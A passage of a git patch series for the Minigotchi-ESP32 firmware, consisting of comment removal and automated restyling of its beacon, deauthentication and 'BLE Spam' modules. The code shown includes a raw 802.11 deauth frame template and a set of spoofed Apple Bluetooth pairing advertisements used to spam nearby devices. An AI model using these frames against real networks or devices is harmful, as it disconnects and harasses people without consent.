@@ const int Frame::pwngridHeaderLength = sizeof(Frame::header); * https://github.com/evilsocket/pwngrid/blob/master/wifi/pack.go */ uint8_t *Frame::pack() { - // make a json doc - String jsonString = ""; - DynamicJsonDocument doc(2048); - - doc["minigotchi"] = true; - doc["epoch"] = Config::epoch; - doc["face"] = Config::face; - doc["identity"] = Config::identity; - doc["name"] = Config::name; - - doc["policy"]["advertise"] = Config::advertise; - doc["policy"]["ap_ttl"] = Config::ap_ttl; - doc["policy"]["associate"] = Config::associate; - doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; - - doc["policy"]["deauth"] = Config::deauth; - doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; - doc["policy"]["hop_recon_time"] = Config::hop_recon_time; - doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; - doc["policy"]["max_interactions"] = Config::max_interactions; - doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; - doc["policy"]["min_recon_time"] = Config::min_rssi; - doc["policy"]["min_rssi"] = Config::min_rssi; - doc["policy"]["recon_inactive_multiplier"] = - Config::recon_inactive_multiplier; - doc["policy"]["recon_time"] = Config::recon_time; - doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; - doc["policy"]["sta_ttl"] = Config::sta_ttl; - - doc["pwnd_run"] = Config::pwnd_run; - doc["pwnd_tot"] = Config::pwnd_tot; - doc["session_id"] = Config::session_id; - doc["uptime"] = Config::uptime; - doc["version"] = Config::version; - - // serialize then put into beacon frame - serializeJson(doc, jsonString); - Frame::essidLength = measureJson(doc); - Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); - uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + - Frame::essidLength + Frame::headerLength]; - memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); - - /** developer note: - * - * if you literally want to check the json everytime you send a packet(non - * serialized ofc) - * - * Serial.println(jsonString); - */ - - int frameByte = pwngridHeaderLength; - for (int i = 0; i < essidLength; i++) { - if (i == 0 || i % 255 == 0) { - beaconFrame[frameByte++] = Frame::IDWhisperPayload; - uint8_t newPayloadLength = 255; - if (essidLength - i < Frame::chunkSize) { - newPayloadLength = essidLength - i; - } - beaconFrame[frameByte++] = newPayloadLength; - } - beaconFrame[frameByte++] = (uint8_t)jsonString[i]; + // make a json doc + String jsonString = ""; + DynamicJsonDocument doc(2048); + + doc["minigotchi"] = true; + doc["epoch"] = Config::epoch; + doc["face"] = Config::face; + doc["identity"] = Config::identity; + doc["name"] = Config::name; + + doc["policy"]["advertise"] = Config::advertise; + doc["policy"]["ap_ttl"] = Config::ap_ttl; + doc["policy"]["associate"] = Config::associate; + doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; + + doc["policy"]["deauth"] = Config::deauth; + doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; + doc["policy"]["hop_recon_time"] = Config::hop_recon_time; + doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; + doc["policy"]["max_interactions"] = Config::max_interactions; + doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; + doc["policy"]["min_recon_time"] = Config::min_rssi; + doc["policy"]["min_rssi"] = Config::min_rssi; + doc["policy"]["recon_inactive_multiplier"] = + Config::recon_inactive_multiplier; + doc["policy"]["recon_time"] = Config::recon_time; + doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; + doc["policy"]["sta_ttl"] = Config::sta_ttl; + + doc["pwnd_run"] = Config::pwnd_run; + doc["pwnd_tot"] = Config::pwnd_tot; + doc["session_id"] = Config::session_id; + doc["uptime"] = Config::uptime; + doc["version"] = Config::version; + + // serialize then put into beacon frame + serializeJson(doc, jsonString); + Frame::essidLength = measureJson(doc); + Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); + uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + + Frame::essidLength + Frame::headerLength]; + memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); + + /** developer note: + * + * if you literally want to check the json everytime you send a packet(non + * serialized ofc) + * + * Serial.println(jsonString); + */ + + int frameByte = pwngridHeaderLength; + for (int i = 0; i < essidLength; i++) { + if (i == 0 || i % 255 == 0) { + beaconFrame[frameByte++] = Frame::IDWhisperPayload; + uint8_t newPayloadLength = 255; + if (essidLength - i < Frame::chunkSize) { + newPayloadLength = essidLength - i; + } + beaconFrame[frameByte++] = newPayloadLength; } + beaconFrame[frameByte++] = (uint8_t)jsonString[i]; + } - /* developer note: we can print the beacon frame like so... + /* developer note: we can print the beacon frame like so... - Serial.println("('-') Full Beacon Frame:"); - for (size_t i = 0; i < frameSize; ++i) { - Serial.print(beaconFrame[i], HEX); - Serial.print(" "); - } + Serial.println("('-') Full Beacon Frame:"); + for (size_t i = 0; i < frameSize; ++i) { + Serial.print(beaconFrame[i], HEX); + Serial.print(" "); + } - Serial.println(" "); + Serial.println(" "); - */ + */ - return beaconFrame; + return beaconFrame; } /** * Sends a pwnagotchi packet in AP mode */ bool Frame::send() { - // convert to a pointer because esp-idf is a pain in the ass - WiFi.mode(WIFI_AP); - uint8_t *frame = Frame::pack(); - size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + - Frame::headerLength; // actually disgusting but it works - - // send full frame - // we don't use raw80211 since it sends a header (which we don't need), - // although we do use it for monitoring, etc. - delay(102); - // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); - - delete[] frame; - return (err == ESP_OK); + // convert to a pointer because esp-idf is a pain in the ass + WiFi.mode(WIFI_AP); + uint8_t *frame = Frame::pack(); + size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + + Frame::headerLength; // actually disgusting but it works + + // send full frame + // we don't use raw80211 since it sends a header (which we don't need), + // although we do use it for monitoring, etc. + delay(102); + // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); + + delete[] frame; + return (err == ESP_OK); } /** * Full usage of Pwnagotchi's advertisments on the Minigotchi. */ void Frame::advertise() { - int packets = 0; - unsigned long startTime = millis(); - - if (Config::advertise) { - Serial.println(mood.getIntense() + " Starting advertisment..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); - Parasite::sendAdvertising(); - delay(Config::shortDelay); - for (int i = 0; i < 150; ++i) { - if (Frame::send()) { - packets++; - - // calculate packets per second - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s (Channel: "); - Serial.print(Channel::getChannel()); - Serial.println(")"); - Display::updateDisplay( - mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (Channel: " + (String)Channel::getChannel() + ")"); - } - } else { - Serial.println(mood.getBroken() + " Advertisment failed to send!"); - Display::updateDisplay(mood.getBroken(), - "Advertisment failed to send!"); - } - } + int packets = 0; + unsigned long startTime = millis(); - Serial.println(" "); - Serial.println(mood.getHappy() + " Advertisment finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); - } else { - // do nothing but still idle + if (Config::advertise) { + Serial.println(mood.getIntense() + " Starting advertisment..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); + Parasite::sendAdvertising(); + delay(Config::shortDelay); + for (int i = 0; i < 150; ++i) { + if (Frame::send()) { + packets++; + + // calculate packets per second + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s (Channel: "); + Serial.print(Channel::getChannel()); + Serial.println(")"); + Display::updateDisplay( + mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (Channel: " + (String)Channel::getChannel() + ")"); + } + } else { + Serial.println(mood.getBroken() + " Advertisment failed to send!"); + Display::updateDisplay(mood.getBroken(), + "Advertisment failed to send!"); + } } + + Serial.println(" "); + Serial.println(mood.getHappy() + " Advertisment finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); + } else { + // do nothing but still idle + } } From 3028cca4eea933b28d5ee73aeb44296abe2a922a Mon Sep 17 00:00:00 2001 From: dj1ch Date: Sat, 23 Nov 2024 15:04:24 -0800 Subject: [PATCH 08/10] remove comments --- minigotchi-ESP32/deauth.cpp | 14 +++++++------- minigotchi-ESP32/frame.cpp | 18 +++++++++--------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index 97e41c2..643a69e 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -56,13 +56,13 @@ Mood &Deauth::mood = Mood::getInstance(); */ uint8_t Deauth::deauthTemp[26] = { - /* 0 - 1 */ 0xC0, 0x00, // Type, subtype: c0 => deauth, a0 => disassociate - /* 2 - 3 */ 0x00, 0x00, // Duration (handled by the SDK) - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Reciever MAC (To) - /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // Source MAC (From) - /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID MAC (From) - /* 22 - 23 */ 0x00, 0x00, // Fragment & squence number - /* 24 - 25 */ 0x01, 0x00 // Reason code (1 = unspecified reason) + 0xC0, 0x00, + 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x00, 0x00, + 0x01, 0x00 }; uint8_t Deauth::deauthFrame[26]; diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 33f9296..b6a7ee2 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -62,15 +62,15 @@ Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! const uint8_t Frame::header[]{ - /* 0 - 1 */ 0x80, 0x00, // frame control, beacon frame - /* 2 - 3 */ 0x00, 0x00, // duration - /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // broadcast address - /* 10 - 15 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // source address - /* 16 - 21 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // bssid - /* 22 - 23 */ 0x00, 0x00, // fragment and sequence number - /* 24 - 32 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // timestamp - /* 33 - 34 */ 0x64, 0x00, // interval - /* 35 - 36 */ 0x11, 0x04, // capability info + 0x80, 0x00, + 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, + 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, + 0x11, 0x04, }; // get header length From 9aec298cfe4492ce3816505ab504fd08eae3e670 Mon Sep 17 00:00:00 2001 From: "Restyled.io" Date: Sat, 23 Nov 2024 23:05:57 +0000 Subject: [PATCH 09/10] Restyled by astyle --- minigotchi-ESP32/ble.cpp | 351 +++++++++--------- minigotchi-ESP32/config.cpp | 104 +++--- minigotchi-ESP32/config.h | 106 +++--- minigotchi-ESP32/deauth.cpp | 688 ++++++++++++++++++------------------ minigotchi-ESP32/frame.cpp | 272 +++++++------- 5 files changed, 779 insertions(+), 742 deletions(-) diff --git a/minigotchi-ESP32/ble.cpp b/minigotchi-ESP32/ble.cpp index 1bdc188..0ba1875 100644 --- a/minigotchi-ESP32/ble.cpp +++ b/minigotchi-ESP32/ble.cpp @@ -35,11 +35,13 @@ BLEAdvertising *Ble::pAdvertising; -int Ble::random(int min, int max) { return min + rand() % (max - min + 1); } +int Ble::random(int min, int max) { + return min + rand() % (max - min + 1); +} // User selectable variables int Ble::deviceType = Ble::random( - 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... + 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... int Ble::delaySeconds = 5; // delay in seconds int Ble::advType = 2; // 0 - ADV_TYPE_IND @@ -57,259 +59,290 @@ Mood &Ble::mood = Mood::getInstance(); uint8_t dataAirpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsProGen2[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataPowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataPowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioBuds[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataBeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioPro[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataBeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioBudsPlus[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataAppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataAppleTVNewUser[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVAppleIDSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVWirelessAudioSync[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVHomekitSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVKeyboard[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVConnectingToNetwork[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataHomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataSetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataTransferNumber[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataTVColorBalance[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; /** * Initializes bluetooth and sets up payload */ void Ble::init() { - BLEDevice::init(""); + BLEDevice::init(""); - // Create the BLE Server - BLEServer *pServer = BLEDevice::createServer(); + // Create the BLE Server + BLEServer *pServer = BLEDevice::createServer(); - pAdvertising = pServer->getAdvertising(); - BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); + pAdvertising = pServer->getAdvertising(); + BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); - // Select the appropriate data based on the device type - uint8_t *data; - switch (deviceType) { - case 1: - data = dataAirpods; - break; - case 2: - data = dataAirpodsPro; - break; - case 3: - data = dataAirpodsMax; - break; - case 4: - data = dataAirpodsGen2; - break; - case 5: - data = dataAirpodsGen3; - break; - case 6: - data = dataAirpodsProGen2; - break; - case 7: - data = dataPowerBeats; - break; - case 8: - data = dataPowerBeatsPro; - break; - case 9: - data = dataBeatsSoloPro; - break; - case 10: - data = dataBeatsStudioBuds; - break; - case 11: - data = dataBeatsFlex; - break; - case 12: - data = dataBeatsX; - break; - case 13: - data = dataBeatsSolo3; - break; - case 14: - data = dataBeatsStudio3; - break; - case 15: - data = dataBeatsStudioPro; - break; - case 16: - data = dataBeatsFitPro; - break; - case 17: - data = dataBeatsStudioBudsPlus; - break; - case 18: - data = dataAppleTVSetup; - break; - case 19: - data = dataAppleTVPair; - break; - case 20: - data = dataAppleTVNewUser; - break; - case 21: - data = dataAppleTVAppleIDSetup; - break; - case 22: - data = dataAppleTVWirelessAudioSync; - break; - case 23: - data = dataAppleTVHomekitSetup; - break; - case 24: - data = dataAppleTVKeyboard; - break; - case 25: - data = dataAppleTVConnectingToNetwork; - break; - case 26: - data = dataTVColorBalance; - break; - default: - data = dataAirpods; // default to dataAirpods if no valid deviceType is - // provided - break; - } - // This flag does not seem to be needed for ESP32 BLE - // oAdvertisementData.setFlags(0x03); + // Select the appropriate data based on the device type + uint8_t *data; + switch (deviceType) { + case 1: + data = dataAirpods; + break; + case 2: + data = dataAirpodsPro; + break; + case 3: + data = dataAirpodsMax; + break; + case 4: + data = dataAirpodsGen2; + break; + case 5: + data = dataAirpodsGen3; + break; + case 6: + data = dataAirpodsProGen2; + break; + case 7: + data = dataPowerBeats; + break; + case 8: + data = dataPowerBeatsPro; + break; + case 9: + data = dataBeatsSoloPro; + break; + case 10: + data = dataBeatsStudioBuds; + break; + case 11: + data = dataBeatsFlex; + break; + case 12: + data = dataBeatsX; + break; + case 13: + data = dataBeatsSolo3; + break; + case 14: + data = dataBeatsStudio3; + break; + case 15: + data = dataBeatsStudioPro; + break; + case 16: + data = dataBeatsFitPro; + break; + case 17: + data = dataBeatsStudioBudsPlus; + break; + case 18: + data = dataAppleTVSetup; + break; + case 19: + data = dataAppleTVPair; + break; + case 20: + data = dataAppleTVNewUser; + break; + case 21: + data = dataAppleTVAppleIDSetup; + break; + case 22: + data = dataAppleTVWirelessAudioSync; + break; + case 23: + data = dataAppleTVHomekitSetup; + break; + case 24: + data = dataAppleTVKeyboard; + break; + case 25: + data = dataAppleTVConnectingToNetwork; + break; + case 26: + data = dataTVColorBalance; + break; + default: + data = dataAirpods; // default to dataAirpods if no valid deviceType is + // provided + break; + } + // This flag does not seem to be needed for ESP32 BLE + // oAdvertisementData.setFlags(0x03); - // Set the advertisement data type - switch (advType) { - case 0: - pAdvertising->setAdvertisementType(ADV_TYPE_IND); - break; - case 1: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); - break; - case 2: - pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); - break; - case 3: - pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); - break; - case 4: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); - break; - } + // Set the advertisement data type + switch (advType) { + case 0: + pAdvertising->setAdvertisementType(ADV_TYPE_IND); + break; + case 1: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); + break; + case 2: + pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); + break; + case 3: + pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); + break; + case 4: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); + break; + } - // Set up the advertisement data - oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); - pAdvertising->setAdvertisementData(oAdvertisementData); + // Set up the advertisement data + oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); + pAdvertising->setAdvertisementData(oAdvertisementData); } /** * Starts BLE */ void Ble::start() { - Serial.println(mood.getIntense() + " Starting BLE Spam..."); - Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); - pAdvertising->start(); - delay(delaySeconds * 1000); - pAdvertising->stop(); - Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); - Serial.println(mood.getNeutral() + " BLE Spam Stopped"); + Serial.println(mood.getIntense() + " Starting BLE Spam..."); + 